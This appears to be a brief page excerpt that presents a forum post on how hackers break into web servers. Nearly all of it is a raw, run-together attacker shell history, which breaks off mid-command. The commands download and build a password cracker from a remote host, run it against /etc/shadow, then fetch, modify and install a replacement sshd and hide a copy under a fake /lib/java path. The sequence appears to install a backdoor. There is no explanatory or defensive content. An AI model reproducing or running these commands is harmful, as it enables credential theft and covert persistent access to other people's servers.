Here’s a rather interesting forum post that details how hackers hack web servers:
w wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd ../run;./john /etc/shadow wget www.geocities.com/securedro/sshd.tar.gz;tar -xzf sshd.tar.gz;rm -rf sshd.tar.gz;cd sshd;cd apps/ssh pico genx.h pico genx.h pico ssh2includes.h cd ../.. ./configure –without-x make make install mkdir /lib/java cp /usr/sbin/sshd a mv a